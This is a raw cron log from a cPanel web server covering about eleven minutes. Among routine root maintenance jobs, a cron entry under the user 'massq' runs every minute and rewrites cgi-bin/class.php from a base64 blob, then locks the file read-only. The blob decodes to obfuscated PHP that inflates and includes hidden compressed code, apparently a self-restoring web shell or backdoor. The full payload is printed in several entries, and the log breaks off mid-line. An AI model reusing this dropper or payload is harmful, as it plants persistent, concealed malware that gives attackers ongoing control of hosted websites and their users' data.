Sep 12 02:20:01 server CROND[31210]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 02:20:01 server CROND[31213]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 02:20:01 server CROND[31214]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 02:20:01 server CROND[31215]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 02:20:01 server CROND[31219]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:20:01 server CROND[31220]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:20:01 server CROND[31216]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 02:20:01 server CROND[31217]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 02:21:01 server CROND[32026]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:21:01 server CROND[32027]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:21:01 server CROND[32028]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 02:22:01 server CROND[32395]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:22:01 server CROND[32396]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:22:01 server CROND[32397]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 02:23:01 server CROND[360]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:23:01 server CROND[358]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 02:23:01 server CROND[359]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:24:01 server CROND[858]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 02:24:01 server CROND[859]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:24:01 server CROND[860]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:25:01 server CROND[1329]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 02:25:01 server CROND[1331]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 02:25:01 server CROND[1340]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 12 02:25:01 server CROND[1352]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:25:01 server CROND[1355]: (root) CMD (   /usr/bin/tmpwatch 168 /var/imunify360/tmp_cleanup > /dev/null 2>&1 || :)
Sep 12 02:25:01 server CROND[1359]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 02:25:01 server CROND[1362]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:25:01 server CROND[1357]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 02:25:01 server CROND[1348]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 02:26:01 server CROND[2216]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 02:26:01 server CROND[2217]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:26:01 server CROND[2218]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:27:01 server CROND[2601]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:27:01 server CROND[2602]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 02:27:01 server CROND[2604]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 02:27:01 server CROND[2603]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:28:01 server CROND[2999]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:28:01 server CROND[3000]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:28:01 server CROND[3001]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 02:29:01 server CROND[3362]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:29:01 server CROND[3363]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:29:01 server CROND[3364]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 02:30:01 server CROND[3740]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 02:30:01 server CROND[3742]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 02:30:01 server CROND[3743]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 02:30:01 server CROND[3744]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 02:30:01 server CROND[3752]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:30:01 server CROND[3754]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 02:30:01 server CROND[3756]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:30:01 server CROND[3753]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 02:31:01 server CROND[4667]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 02:31:01 server CROND[4666]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:31:01 server CROND[4668]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1Q